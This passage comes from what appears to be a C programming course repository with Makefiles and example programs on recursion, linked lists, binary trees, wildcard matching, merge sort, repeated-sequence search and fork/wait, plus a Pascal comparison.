if(match(str, pat))
return 1;
return starmatch(str+1, pat);
}
#endif
int main(int argc, const char **argv)
{
if(argc < 3) {
printf("Need two arguments\n");
return 1;
}
if(match(argv[1], argv[2]))
printf("YES\n");
else
printf("NO\n");
return 0;
}
tail (09-02-04)
MakefileMake / 18 lines
PROGRAMS = accumulator reverse reverse1 reverse2 tree_sum
SRCMODULES = list.c tree.c
OBJMODULES = $(SRCMODULES:.c=.o)
CC = gcc
CFLAGS = -g -Wall -O0
all: $(PROGRAMS)
%.o: %.c %.h
$(CC) $(CFLAGS) -c $< -o $@
$(PROGRAMS): %: %.c $(OBJMODULES)
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
accumulator.cC / 54 lines
#include <stdio.h>
#include "list.h"
int list_len(const struct item *p)
{
return p ? list_len(p->next) + 1 : 0;
}
int list_len_do1(const struct item *p, int count)
{
return p ? list_len_do1(p->next, count + 1) : count;
}
int list_len1(const struct item *p)
{
return list_len_do1(p, 0);
}
int array_sum_do(int *arr, int len, int sum)
{
return len ? array_sum_do(arr + 1, len - 1, sum + *arr) : sum;
}
int array_sum(int *arr, int len)
{
return array_sum_do(arr, len, 0);
}
int main()
{
int arr[] = { 1, 2, 3, 4 };
int len = sizeof(arr) / sizeof(*arr);
int sum = array_sum(arr, len);
printf("sum: %d\n", sum);
struct item *p = NULL;
list_push(&p, 3);
list_push(&p, 2);
list_push(&p, 1);
int len0 = list_len(p);
printf("len: %d\n", len0);
int len1 = list_len(p);
printf("len1: %d\n", len1);
list_pop(&p);
list_pop(&p);
list_pop(&p);
return 0;
}
list.cC / 28 lines
#include <stdio.h>
#include <stdlib.h>
#include "list.h"
void list_push(struct item **p, int val)
{
struct item *tmp = malloc(sizeof(*tmp));
tmp->val = val;
tmp->next = *p;
*p = tmp;
}
int list_pop(struct item **p)
{
struct item *tmp = *p;
int val = tmp->val;
*p = (*p)->next;
free(tmp);
return val;
}
void list_print(const struct item *p)
{
for (; p; p = p->next)
printf("%d ", p->val);
printf("\n");
}
list.hC / 9 lines
struct item {
int val;
struct item *next;
};
void list_push(struct item **p, int val);
int list_pop(struct item **p);
void list_print(const struct item *p);
match.cC / 40 lines
#include <stdio.h>
int starmatch(const char *str, const char *pat);
int match(const char *pat, const char *str)
{
switch (*pat) {
case 0:
return *str == 0;
case '*':
return starmatch(pat + 1, str);
default:
if (!*str || (*str != *pat && *pat != '?'))
return 0;
return match(pat + 1, str + 1);
}
}
int starmatch(const char *pat, const char *str)
{
if (match(pat, str))
return 1;
if (!*str)
return 0;
return starmatch(pat, str + 1);
}
int main(int argc, char **argv)
{
if (argc < 3) {
fprintf(stderr, "Usage: %s <pattern <string>\n", argv[0]);
return 1;
}
if (match(argv[1], argv[2]))
printf("matched\n");
else
printf("does not match\n");
return 0;
}
reverse.cC / 36 lines
#include <stdio.h>
#include "list.h"
struct item *list_reverse_do(struct item *dst, struct item *src)
{
struct item *tmp;
if (!src)
return dst;
tmp = src->next;
src->next = dst;
return list_reverse_do(src, tmp);
}
struct item *list_reverse(struct item *src)
{
return list_reverse_do(NULL, src);
}
int main()
{
struct item *p = NULL;
list_push(&p, 3);
list_push(&p, 2);
list_push(&p, 1);
struct item *rev = list_reverse(p);
list_print(rev);
list_pop(&rev);
list_pop(&rev);
list_pop(&rev);
return 0;
}
reverse1.cC / 35 lines
#include <stdio.h>
#include "list.h"
struct item *list_iterate(struct item *p)
{
return !p->next ? p : list_iterate(p->next);
}
struct item *list_reverse(struct item *p)
{
struct item *rev, *last;
if (!p || !p->next)
return p;
rev = list_reverse(p->next);
last = list_iterate(rev);
last->next = p;
p->next = NULL;
return rev;
}
int main()
{
struct item *p = NULL;
list_push(&p, 4);
list_push(&p, 3);
list_push(&p, 2);
list_push(&p, 1);
list_print(p);
struct item *rev = list_reverse(p);
list_print(rev);
return 0;
}
reverse2.cC / 39 lines
#include <stdio.h>
#include "list.h"
struct item *list_reverse(struct item *curr)
{
struct item *prev, *next;
for (prev = NULL; curr; prev = curr, curr = next) {
next = curr->next;
curr->next = prev;
}
return prev;
}
struct item *list_reverse1(struct item *p)
{
struct item *rev;
if (!p || !p->next)
return p;
rev = list_reverse1(p->next);
p->next->next = p;
p->next = NULL;
return rev;
}
int main()
{
struct item *p = NULL;
list_push(&p, 4);
list_push(&p, 3);
list_push(&p, 2);
list_push(&p, 1);
list_print(p);
struct item *rev = list_reverse1(p);
list_print(rev);
return 0;
}
tree.cC / 72 lines
#include <stdio.h>
#include <stdlib.h>
#include "tree.h"
void tree_push(struct node **p, int val)
{
struct node *tmp = malloc(sizeof(*tmp));
tmp->val = val;
tmp->left = NULL;
tmp->right = NULL;
*p = tmp;
}
void tree_insert(struct node **p, int val)
{
if (!*p)
tree_push(p, val);
else if (val < (*p)->val)
tree_insert(&(*p)->left, val);
else if (val > (*p)->val)
tree_insert(&(*p)->right, val);
}
void tree_print(const struct node *p)
{
if (!p)
return;
tree_print(p->left);
printf("%d ", p->val);
tree_print(p->right);
}
void stack_push(struct stack **s, const struct node *p)
{
struct stack *tmp = malloc(sizeof(*tmp));
tmp->p = p;
tmp->next = *s;
*s = tmp;
}
const struct node *stack_pop(struct stack **s)
{
struct stack *tmp = *s;
const struct node *p = tmp->p;
*s = (*s)->next;
free(tmp);
return p;
}
void stack_init1(struct stack1 *s, int capacity)
{
s->p = malloc(capacity * sizeof(*s->p));
s->capacity = capacity;
s->size = 0;
}
void stack_push1(struct stack1 *s, const struct node *p)
{
if (s->size == s->capacity) {
s->capacity *= 2;
s->p = realloc(s->p, s->capacity * sizeof(*s->p));
}
s->p[s->size] = p;
s->size++;
}
const struct node *stack_pop1(struct stack1 *s)
{
s->size--;
return s->p[s->size];
}
tree.hC / 26 lines
struct node {
int val;
struct node *left, *right;
};
struct stack {
const struct node *p;
struct stack *next;
};
struct stack1 {
const struct node **p;
int size;
int capacity;
};
void tree_push(struct node **p, int val);
void tree_insert(struct node **p, int val);
void tree_print(const struct node *p);
void stack_push(struct stack **s, const struct node *p);
const struct node *stack_pop(struct stack **s);
void stack_init1(struct stack1 *s, int capacity);
void stack_push1(struct stack1 *s, const struct node *p);
const struct node *stack_pop1(struct stack1 *s);
tree_sum.cC / 114 lines
#include <stdio.h>
#include <stdlib.h>
#include "tree.h"
int tree_sum(const struct node *p)
{
return p ? tree_sum(p->left) + p->val + tree_sum(p->right) : 0;
}
int tree_sum_do1(const struct node *p, int sum)
{
if (!p)
return sum;
sum = tree_sum_do1(p->left, sum);
return tree_sum_do1(p->right, sum + p->val);
}
int tree_sum1(const struct node *p)
{
return tree_sum_do1(p, 0);
}
int tree_sum_do2(const struct node *p, int sum, struct stack *s)
{
if (!p)
return sum;
if (p->left)
stack_push(&s, p->left);
if (p->right)
return tree_sum_do2(p->right, sum + p->val, s);
if (s) {
const struct node *tmp = stack_pop(&s);
return tree_sum_do2(tmp, sum + p->val, s);
}
return sum + p->val;
}
int tree_sum2(const struct node *p)
{
return tree_sum_do2(p, 0, NULL);
}
int tree_sum_do3(const struct node *p, int sum, struct stack *s)
{
if (p) {
stack_push(&s, p);
return tree_sum_do3(p->left, sum, s);
}
if (s) {
const struct node *tmp = stack_pop(&s);
return tree_sum_do3(tmp->right, sum + tmp->val, s);
}
return sum;
}
int tree_sum3(const struct node *p)
{
return tree_sum_do3(p, 0, NULL);
}
int tree_sum_do4(const struct node *p, int sum, struct stack1 *s)
{
if (p) {
stack_push1(s, p);
return tree_sum_do4(p->left, sum, s);
}
if (s->size) {
const struct node *tmp = stack_pop1(s);
return tree_sum_do4(tmp->right, sum + tmp->val, s);
}
return sum;
}
int tree_sum4(const struct node *p)
{
int sum;
struct stack1 s;
stack_init1(&s, 1);
sum = tree_sum_do4(p, 0, &s);
free(s.p);
return sum;
}
int main()
{
int sum;
struct node *p;
p = NULL;
tree_insert(&p, 2);
tree_insert(&p, 3);
tree_insert(&p, 1);
tree_insert(&p, 4);
tree_print(p);
printf("\n");
sum = tree_sum(p);
printf("%d\n", sum);
sum = tree_sum1(p);
printf("%d\n", sum);
sum = tree_sum2(p);
printf("%d\n", sum);
sum = tree_sum3(p);
printf("%d\n", sum);
sum = tree_sum4(p);
printf("%d\n", sum);
return 0;
}
Book example: strdup_rec.c
strdup_rec.cC / 25 lines
#include <stdio.h>
#include <stdlib.h>
char *strdup_rec_do(const char *str, int depth)
{
char *res;
if(*str)
res = strdup_rec_do(str+1, depth+1);
else
res = malloc(depth+1);
res[depth] = *str;
return res;
}
char *strdup_rec(const char *str)
{
return strdup_rec_do(str, 0);
}
int main(int argc, char**argv)
{
char *s = strdup_rec(argv[0]);
puts(s);
free(s);
return 0;
}
approach (09-02-05)
MakefileMake / 12 lines
PROGRAMS = strdup_rec
CC = gcc
CFLAGS = -g -Wall -O0
all: $(PROGRAMS)
$(PROGRAMS): %: %.c
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
strdup_rec.cC / 37 lines
#include <stdio.h>
#include <stdlib.h>
char *strdup_rec_do1(const char *str, int depth)
{
char *res;
if (*str)
res = strdup_rec_do1(str + 1, depth + 1);
else
res = malloc(depth + 1);
res[depth] = *str;
return res;
}
char *strdup_rec_do(const char *str, int depth)
{
char *res = *str ? strdup_rec_do(str + 1, depth + 1) : malloc(depth + 1);
res[depth] = *str;
return res;
}
char *strdup_rec(const char *str)
{
return strdup_rec_do1(str, 0);
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "Usage: %s <string>\n", argv[0]);
return 1;
}
char *dup = strdup_rec(argv[1]);
printf("%s\n%s\n", argv[1], dup);
free(dup);
return 0;
}
languages-00 (09-03-01)
MakefileMake / 18 lines
PROGRAMS = fortran_test apl_test dna_apl_test dna_fortran_test
SRCMODULES = array.c matrix.c apl.c fortran.c dna.c
OBJMODULES = $(SRCMODULES:.c=.o)
CC = gcc
CFLAGS = -g -Wall -O2 -ansi -pedantic
all: $(PROGRAMS)
%.o: %.c %.h
$(CC) $(CFLAGS) -c $< -o $@
$(PROGRAMS): %: %.c $(OBJMODULES)
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
apl.cC / 12 lines
#include "matrix.h"
#include "apl.h"
void apl_find_repeating(int (*a)[cols], int rows, struct array *res)
{
int i;
for (i = 0; i < rows - 1; i++)
if (array_compare(a[i], a[i+1], min) == 0) {
array_push(res, a[i][min]);
array_push(res, a[i+1][min]);
}
}
apl.hC / 9 lines
#ifndef APL_H
#define APL_H
#include "array.h"
#include "matrix.h"
void apl_find_repeating(int (*a)[cols], int rows, struct array *res);
#endif
apl_test.cC / 35 lines
#include <stdio.h>
#include <stdlib.h>
#include "array.h"
#include "matrix.h"
#include "apl.h"
int main()
{
struct array res;
int arr[] = {
8, 3, 5, 7, 2, 4,
99, 99,
3, 5, 7, 2, 4,
10
};
int len = sizeof(arr) / sizeof(*arr);
int rows = len - min + 1;
int (*matrix)[cols] = malloc(rows * sizeof(*matrix));
matrix_create(arr, len, matrix);
matrix_print(matrix, rows);
printf("\n");
matrix_merge_sort(matrix, 0, rows - 1);
matrix_print(matrix, rows);
array_init(&res, 1);
apl_find_repeating(matrix, rows, &res);
array_print(res);
array_clean(&res);
free(matrix);
return 0;
}
array.cC / 68 lines
#include <stdio.h>
#include <stdlib.h>
#include "array.h"
void array_init(struct array *p, int capacity)
{
p->a = malloc(capacity * sizeof(*p->a));
p->capacity = capacity;
p->size = 0;
}
void array_push(struct array *p, int val)
{
int i;
for (i = 0; i < p->size; i++)
if (p->a[i] == val)
return;
if (p->capacity == p->size) {
p->capacity *= 2;
p->a = realloc(p->a, p->capacity * sizeof(*p->a));
}
p->a[p->size] = val;
p->size++;
}
void array_pop(struct array *p, int *val)
{
p->size--;
*val = p->a[p->size];
}
void array_clean(struct array *p)
{
free(p->a);
p->capacity = 0;
p->size = 0;
}
void array_print(struct array p)
{
int i;
for (i = 0; i < p.size; i++)
printf("%d ", p.a[i]);
printf("\n");
}
void array_copy(int *dst, const int *src, int n)
{
int i;
for (i = 0; i < n; i++)
dst[i] = src[i];
}
int array_compare(const int *a, const int *b, int n)
{
int i;
for (i = 0; i < n && a[i] == b[i]; i++)
{}
if (i == n)
return 0;
return a[i] < b[i] ? -1 : 1;
}
array.hC / 19 lines
#ifndef ARRAY_H
#define ARRAY_H
struct array {
int *a;
int size;
int capacity;
};
void array_init(struct array *p, int capacity);
void array_push(struct array *p, int val);
void array_pop(struct array *p, int *val);
void array_clean(struct array *p);
void array_print(struct array p);
void array_copy(int *dst, const int *src, int n);
int array_compare(const int *a, const int *b, int n);
#endif
dna.cC / 16 lines
#include <stdlib.h>
#include "dna.h"
static int random_number(double limit)
{
return 1 + (int)(limit * rand() / (RAND_MAX + 1.0));
}
void dna_generate(int *a, int n)
{
int i;
for (i = 0; i < n; i++)
a[i] = random_number(DIFF_DNA);
}
dna.hC / 12 lines
#ifndef DNA_H
#define DNA_H
#define DIFF_DNA 4.0
enum {
dna_len = 100000
};
void dna_generate(int *a, int n);
#endif
dna_apl_test.cC / 32 lines
#include <stdlib.h>
#include <time.h>
#include "array.h"
#include "apl.h"
#include "dna.h"
int main()
{
struct array res;
int *dna;
int (*matrix)[cols];
int len = dna_len;
int rows = len - min + 1;
dna = malloc(len * sizeof(*dna));
matrix = malloc(rows * sizeof(*matrix));
srand(time(NULL));
dna_generate(dna, dna_len);
matrix_create(dna, len, matrix);
matrix_merge_sort(matrix, 0, rows - 1);
array_init(&res, 1);
apl_find_repeating(matrix, rows, &res);
array_print(res);
array_clean(&res);
return 0;
}
dna_fortran_test.cC / 26 lines
#include <stdlib.h>
#include <time.h>
#include "array.h"
#include "fortran.h"
#include "dna.h"
int main()
{
struct array res;
int *dna;
int min = 6;
dna = malloc(dna_len * sizeof(*dna));
srand(time(NULL));
dna_generate(dna, dna_len);
array_init(&res, 1);
fortran_find_repeating(dna, dna_len, min, &res);
array_print(res);
array_clean(&res);
return 0;
}
fortran.cC / 20 lines
#include "array.h"
void fortran_find_repeating(int *arr, int len, int min, struct array *res)
{
int i, j, k, found;
for (i = 0; i < len - min; i++) {
for (j = i + 1; j < len - min + 1; j++) {
found = 1;
for (k = 0; k < min; k++)
if (arr[i+k] != arr[j+k]) {
found = 0;
break;
}
if (found) {
array_push(res, i);
array_push(res, j);
}
}
}
}
fortran.hC / 8 lines
#ifndef FORTRAN_H
#define FORTRAN_H
#include "array.h"
void fortran_find_repeating(int *arr, int len, int min, struct array *res);
#endif
fortran_test.cC / 22 lines
#include "array.h"
#include "fortran.h"
int main()
{
struct array res;
int min = 5;
int arr[] = {
8, 3, 5, 7, 2, 4,
99, 99,
3, 5, 7, 2, 4,
10
};
int len = sizeof(arr) / sizeof(arr[0]);
array_init(&res, 1);
fortran_find_repeating(arr, len, min, &res);
array_print(res);
array_clean(&res);
return 0;
}
matrix.cC / 74 lines
#include <stdio.h>
#include <stdlib.h>
#include "array.h"
#include "matrix.h"
void matrix_create(int *arr, int len, int (*a)[cols])
{
int i, j;
int rows = len - min + 1;
if (len < min)
return;
for (i = 0; i < rows; i++) {
for (j = 0; j < min; j++)
a[i][j] = arr[i + j];
a[i][j] = i;
}
}
void matrix_print(int (*a)[cols], int rows)
{
int i, j;
for (i = 0; i < rows; i++) {
for (j = 0; j < cols; j++)
printf("%3d ", a[i][j]);
printf("\n");
}
}
static void matrix_merge(int (*a)[cols], int l, int m, int r)
{
int i, j, k;
int n1 = m - l + 1;
int n2 = r - m;
int (*L)[cols] = malloc(n1 * sizeof(*L));
int (*R)[cols] = malloc(n2 * sizeof(*R));
for (i = 0; i < n1; i++)
array_copy(L[i], a[l + i], cols);
for (j = 0; j < n2; j++)
array_copy(R[j], a[m + 1 + j], cols);
for (i = 0, j = 0, k = l; i < n1 && j < n2; k++)
if (array_compare(L[i], R[j], min) <= 0) {
array_copy(a[k], L[i], cols);
i++;
} else {
array_copy(a[k], R[j], cols);
j++;
}
for (; i < n1; i++, k++)
array_copy(a[k], L[i], cols);
for (; j < n2; j++, k++)
array_copy(a[k], R[j], cols);
free(L);
free(R);
}
void matrix_merge_sort(int (*a)[cols], int l, int r)
{
int m;
if (l < r) {
m = (l + r) / 2;
matrix_merge_sort(a, l, m);
matrix_merge_sort(a, m + 1, r);
matrix_merge(a, l, m, r);
}
}
matrix.hC / 13 lines
#ifndef MATRIX_H
#define MATRIX_H
enum {
min = 5,
cols = min + 1
};
void matrix_create(int *arr, int len, int (*a)[cols]);
void matrix_print(int (*a)[cols], int rows);
void matrix_merge_sort(int (*a)[cols], int l, int r);
#endif
merge_sort.cC / 54 lines
#include <stdio.h>
#include <stdlib.h>
void merge(int arr[], int l, int m, int r)
{
int i, j, k;
int n1 = m - l + 1;
int n2 = r - m;
int L[n1], R[n2];
for (i = 0; i < n1; i++)
L[i] = arr[l + i];
for (j = 0; j < n2; j++)
R[j] = arr[m + 1 + j];
for (i = 0, j = 0, k = l; i < n1 && j < n2; k++)
if (L[i] <= R[j]) {
arr[k] = L[i];
i++;
} else {
arr[k] = R[j];
j++;
}
for (; i < n1; i++, k++)
arr[k] = L[i];
for (; j < n2; j++, k++)
arr[k] = R[j];
}
void merge_sort(int arr[], int l, int r)
{
int m;
if (l < r) {
m = (l + r) / 2;
merge_sort(arr, l, m);
merge_sort(arr, m + 1, r);
merge(arr, l, m, r);
}
}
int main()
{
int i;
int arr[] = {38, 27, 43, 10};
int len = sizeof(arr) / sizeof(*arr);
merge_sort(arr, 0, len - 1);
for (i = 0; i < len; i++)
printf("%d ", arr[i]);
printf("\n");
return 0;
}
languages-01 (09-03-01)
MakefileMake / 24 lines
PROGRAMS = fortran_test apl_test dna_apl_test dna_fortran_test
SRCMODULES = array.c matrix.c apl.c fortran.c dna.c
OBJMODULES = $(SRCMODULES:.c=.o)
HEADERS = $(wildcard *.h)
CC = gcc
CFLAGS = -g -Wall -O2 -ansi -pedantic
.PHONY: all clean
all: $(PROGRAMS) merge_sort
%.o: %.c $(HEADERS)
$(CC) $(CFLAGS) -c $< -o $@
$(PROGRAMS): %: %.c $(OBJMODULES) $(HEADERS)
$(CC) $(CFLAGS) $(filter-out %.h,$^) -o $@
merge_sort: merge_sort.c
$(CC) $(CFLAGS) $< -o $@
clean:
rm -f *.o $(PROGRAMS) merge_sort
apl.cC / 32 lines
#include <stdio.h>
#include <stdlib.h>
#include "matrix.h"
#include "apl.h"
void apl_find_repeating(int (*a)[cols], int rows, struct array *res)
{
int i;
char *seen;
if (rows < 2)
return;
seen = calloc(rows, 1);
if (!seen) {
fprintf(stderr, "apl_find_repeating: out of memory\n");
exit(1);
}
for (i = 0; i < rows - 1; i++)
if (array_compare(a[i], a[i+1], min) == 0) {
seen[a[i][min]] = 1;
seen[a[i+1][min]] = 1;
}
for (i = 0; i < rows; i++)
if (seen[i])
array_push(res, i);
free(seen);
}
apl.hC / 9 lines
#ifndef APL_H
#define APL_H
#include "array.h"
#include "matrix.h"
void apl_find_repeating(int (*a)[cols], int rows, struct array *res);
#endif
apl_test.cC / 40 lines
#include <stdio.h>
#include <stdlib.h>
#include "array.h"
#include "matrix.h"
#include "apl.h"
int main()
{
struct array res;
int arr[] = {
8, 3, 5, 7, 2, 4,
99, 99,
3, 5, 7, 2, 4,
10
};
int len = sizeof(arr) / sizeof(*arr);
int rows = len - min + 1;
int (*matrix)[cols] = malloc(rows * sizeof(*matrix));
if (!matrix) {
fprintf(stderr, "out of memory\n");
return 1;
}
matrix_create(arr, len, matrix);
matrix_print(matrix, rows);
printf("\n");
matrix_merge_sort(matrix, 0, rows - 1);
matrix_print(matrix, rows);
array_init(&res, 1);
apl_find_repeating(matrix, rows, &res);
array_print(res);
array_clean(&res);
free(matrix);
return 0;
}
array.cC / 81 lines
#include <stdio.h>
#include <stdlib.h>
#include "array.h"
void array_init(struct array *p, int capacity)
{
if (capacity < 1)
capacity = 1;
p->a = malloc(capacity * sizeof(*p->a));
if (!p->a) {
fprintf(stderr, "array_init: out of memory\n");
exit(1);
}
p->capacity = capacity;
p->size = 0;
}
void array_push(struct array *p, int val)
{
int *tmp;
int capacity;
if (p->capacity == p->size) {
capacity = p->capacity > 0 ? p->capacity * 2 : 1;
tmp = realloc(p->a, capacity * sizeof(*p->a));
if (!tmp) {
fprintf(stderr, "array_push: out of memory\n");
exit(1);
}
p->a = tmp;
p->capacity = capacity;
}
p->a[p->size] = val;
p->size++;
}
int array_pop(struct array *p, int *val)
{
if (p->size == 0)
return 0;
p->size--;
*val = p->a[p->size];
return 1;
}
void array_clean(struct array *p)
{
free(p->a);
p->a = NULL;
p->capacity = 0;
p->size = 0;
}
void array_print(struct array p)
{
int i;
for (i = 0; i < p.size; i++)
printf("%d ", p.a[i]);
printf("\n");
}
void array_copy(int *dst, const int *src, int n)
{
int i;
for (i = 0; i < n; i++)
dst[i] = src[i];
}
int array_compare(const int *a, const int *b, int n)
{
int i;
for (i = 0; i < n && a[i] == b[i]; i++)
{}
if (i == n)
return 0;
return a[i] < b[i] ? -1 : 1;
}
array.hC / 19 lines
#ifndef ARRAY_H
#define ARRAY_H
struct array {
int *a;
int size;
int capacity;
};
void array_init(struct array *p, int capacity);
void array_push(struct array *p, int val);
int array_pop(struct array *p, int *val);
void array_clean(struct array *p);
void array_print(struct array p);
void array_copy(int *dst, const int *src, int n);
int array_compare(const int *a, const int *b, int n);
#endif
dna.cC / 16 lines
#include <stdlib.h>
#include "dna.h"
static int random_number(double limit)
{
return 1 + (int)(limit * rand() / (RAND_MAX + 1.0));
}
void dna_generate(int *a, int n)
{
int i;
for (i = 0; i < n; i++)
a[i] = random_number(DIFF_DNA);
}
dna.hC / 12 lines
#ifndef DNA_H
#define DNA_H
#define DIFF_DNA 4.0
enum {
dna_len = 100000
};
void dna_generate(int *a, int n);
#endif
dna_apl_test.cC / 40 lines
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "array.h"
#include "apl.h"
#include "dna.h"
int main()
{
struct array res;
int *dna;
int (*matrix)[cols];
int len = dna_len;
int rows = len - min + 1;
dna = malloc(len * sizeof(*dna));
matrix = malloc(rows * sizeof(*matrix));
if (!dna || !matrix) {
fprintf(stderr, "out of memory\n");
return 1;
}
srand(time(NULL));
dna_generate(dna, dna_len);
matrix_create(dna, len, matrix);
matrix_merge_sort(matrix, 0, rows - 1);
array_init(&res, 1);
apl_find_repeating(matrix, rows, &res);
array_print(res);
array_clean(&res);
free(matrix);
free(dna);
return 0;
}
dna_fortran_test.cC / 33 lines
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "array.h"
#include "fortran.h"
#include "matrix.h" /* min: same window length as the APL version */
#include "dna.h"
int main()
{
struct array res;
int *dna;
dna = malloc(dna_len * sizeof(*dna));
if (!dna) {
fprintf(stderr, "out of memory\n");
return 1;
}
srand(time(NULL));
dna_generate(dna, dna_len);
array_init(&res, 1);
fortran_find_repeating(dna, dna_len, min, &res);
array_print(res);
array_clean(&res);
free(dna);
return 0;
}
fortran.cC / 38 lines
#include <stdio.h>
#include <stdlib.h>
#include "fortran.h"
void fortran_find_repeating(const int *arr, int len, int min, struct array *res)
{
int i, j, k;
int nwin = len - min + 1;
char *seen;
if (nwin < 2)
return;
seen = calloc(nwin, 1);
if (!seen) {
fprintf(stderr, "fortran_find_repeating: out of memory\n");
exit(1);
}
for (i = 0; i < len - min; i++) {
for (j = i + 1; j < len - min + 1; j++) {
for (k = 0; k < min; k++)
if (arr[i+k] != arr[j+k])
break;
if (k == min) {
seen[i] = 1;
seen[j] = 1;
}
}
}
for (i = 0; i < nwin; i++)
if (seen[i])
array_push(res, i);
free(seen);
}
fortran.hC / 8 lines
#ifndef FORTRAN_H
#define FORTRAN_H
#include "array.h"
void fortran_find_repeating(const int *arr, int len, int min, struct array *res);
#endif
fortran_test.cC / 22 lines
#include "array.h"
#include "fortran.h"
int main()
{
struct array res;
int min = 5;
int arr[] = {
8, 3, 5, 7, 2, 4,
99, 99,
3, 5, 7, 2, 4,
10
};
int len = sizeof(arr) / sizeof(arr[0]);
array_init(&res, 1);
fortran_find_repeating(arr, len, min, &res);
array_print(res);
array_clean(&res);
return 0;
}
matrix.cC / 88 lines
#include <stdio.h>
#include <stdlib.h>
#include "array.h"
#include "matrix.h"
void matrix_create(int *arr, int len, int (*a)[cols])
{
int i, j;
int rows = len - min + 1;
if (len < min)
return;
for (i = 0; i < rows; i++) {
for (j = 0; j < min; j++)
a[i][j] = arr[i + j];
a[i][min] = i;
}
}
void matrix_print(int (*a)[cols], int rows)
{
int i, j;
for (i = 0; i < rows; i++) {
for (j = 0; j < cols; j++)
printf("%3d ", a[i][j]);
printf("\n");
}
}
static void matrix_merge(int (*a)[cols], int (*tmp)[cols], int l, int m, int r)
{
int i, j, k;
int n1 = m - l + 1;
int n2 = r - m;
int (*L)[cols] = tmp;
int (*R)[cols] = tmp + n1;
for (i = 0; i < n1; i++)
array_copy(L[i], a[l + i], cols);
for (j = 0; j < n2; j++)
array_copy(R[j], a[m + 1 + j], cols);
for (i = 0, j = 0, k = l; i < n1 && j < n2; k++)
if (array_compare(L[i], R[j], min) <= 0) {
array_copy(a[k], L[i], cols);
i++;
} else {
array_copy(a[k], R[j], cols);
j++;
}
for (; i < n1; i++, k++)
array_copy(a[k], L[i], cols);
for (; j < n2; j++, k++)
array_copy(a[k], R[j], cols);
}
static void matrix_merge_sort_rec(int (*a)[cols], int (*tmp)[cols],
int l, int r)
{
int m;
if (l < r) {
m = (l + r) / 2;
matrix_merge_sort_rec(a, tmp, l, m);
matrix_merge_sort_rec(a, tmp, m + 1, r);
matrix_merge(a, tmp, l, m, r);
}
}
void matrix_merge_sort(int (*a)[cols], int l, int r)
{
int (*tmp)[cols];
if (l >= r)
return;
tmp = malloc((r - l + 1) * sizeof(*tmp));
if (!tmp) {
fprintf(stderr, "matrix_merge_sort: out of memory\n");
exit(1);
}
matrix_merge_sort_rec(a, tmp, l, r);
free(tmp);
}
matrix.hC / 13 lines
#ifndef MATRIX_H
#define MATRIX_H
enum {
min = 5,
cols = min + 1
};
void matrix_create(int *arr, int len, int (*a)[cols]);
void matrix_print(int (*a)[cols], int rows);
void matrix_merge_sort(int (*a)[cols], int l, int r);
#endif
merge_sort.cC / 71 lines
#include <stdio.h>
#include <stdlib.h>
void merge(int arr[], int tmp[], int l, int m, int r)
{
int i, j, k;
int n1 = m - l + 1;
int n2 = r - m;
int *L = tmp;
int *R = tmp + n1;
for (i = 0; i < n1; i++)
L[i] = arr[l + i];
for (j = 0; j < n2; j++)
R[j] = arr[m + 1 + j];
for (i = 0, j = 0, k = l; i < n1 && j < n2; k++)
if (L[i] <= R[j]) {
arr[k] = L[i];
i++;
} else {
arr[k] = R[j];
j++;
}
for (; i < n1; i++, k++)
arr[k] = L[i];
for (; j < n2; j++, k++)
arr[k] = R[j];
}
void merge_sort_rec(int arr[], int tmp[], int l, int r)
{
int m;
if (l < r) {
m = (l + r) / 2;
merge_sort_rec(arr, tmp, l, m);
merge_sort_rec(arr, tmp, m + 1, r);
merge(arr, tmp, l, m, r);
}
}
void merge_sort(int arr[], int l, int r)
{
int *tmp;
if (l >= r)
return;
tmp = malloc((r - l + 1) * sizeof(*tmp));
if (!tmp) {
fprintf(stderr, "merge_sort: out of memory\n");
exit(1);
}
merge_sort_rec(arr, tmp, l, r);
free(tmp);
}
int main()
{
int i;
int arr[] = {38, 27, 43, 10};
int len = sizeof(arr) / sizeof(*arr);
merge_sort(arr, 0, len - 1);
for (i = 0; i < len; i++)
printf("%d ", arr[i]);
printf("\n");
return 0;
}
Pascal-vs-C (09-03-02)
MakefileMake / 15 lines
PROGRAMS = match loop_side_effects select-check-process wait fork
PROGRAMS_PASCAL = match_pas side_effects loop_side_effects_pas
CFLAGS = -g -Wall -O0 -ansi -pedantic
all: $(PROGRAMS) $(PROGRAMS_PASCAL)
$(PROGRAMS): %: %.c
$(CC) $(CFLAGS) $^ -o $@
$(PROGRAMS_PASCAL): %: %.pas
fpc $^
clean:
rm -f *.o $(PROGRAMS) $(PROGRAMS_PASCAL)
fork.cC / 30 lines
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
void fork0()
{
fork();
if (fork() == 0) {
sleep(2);
printf("child\n");
exit(0);
}
}
void wait0()
{
int pid;
while ((pid = wait(NULL)) != -1)
printf("%d\n", pid);
}
int main()
{
fork0();
wait0();
return 0;
}
loop_side_effects.cC / 32 lines
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void wrong(char *dest, const char *src)
{
while ((*dest++ = *src++));
}
void correct(char *dest, const char *src)
{
for (; *src; src++, dest++)
*dest = *src;
*dest = 0;
}
int main()
{
const char *src = "hello";
char *dest = malloc(strlen(src) + 1);
char *dest2 = malloc(strlen(src) + 1);
wrong(dest, src);
printf("%s %s\n", src, dest);
correct(dest2, src);
printf("%s %s\n", src, dest2);
free(dest);
free(dest2);
return 0;
}
loop_side_effects_pas.pasPascal / 18 lines
program loop_side_effects_pas;
procedure correct(var dest: string; src: string);
var
i: integer;
begin
SetLength(dest, length(src));
for i := 1 to length(src) do
dest[i] := src[i]
end;
var
src, dest: string;
begin
src := 'hello';
correct(dest, src);
writeln(src, ' ', dest)
end.
match.cC / 24 lines
#include <stdio.h>
int match(const char *p, const char *s)
{
switch (*p) {
case 0:
return *s == 0;
case '*':
return match(p + 1, s) || (*s && match(p, s + 1));
default:
return *s && (*s == *p || *p == '?') ? match(p + 1, s + 1) : 0;
}
}
int main(int argc, char **argv)
{
if (argc < 3) {
fprintf(stderr, "usage: %s pattern string\n", argv[0]);
return 1;
}
puts(match(argv[1], argv[2]) ? "yes" : "no");
return 0;
}
match_pas.pasPascal / 30 lines
program match;
function MatchIdx(var p, s: string; i, j: integer): boolean;
begin
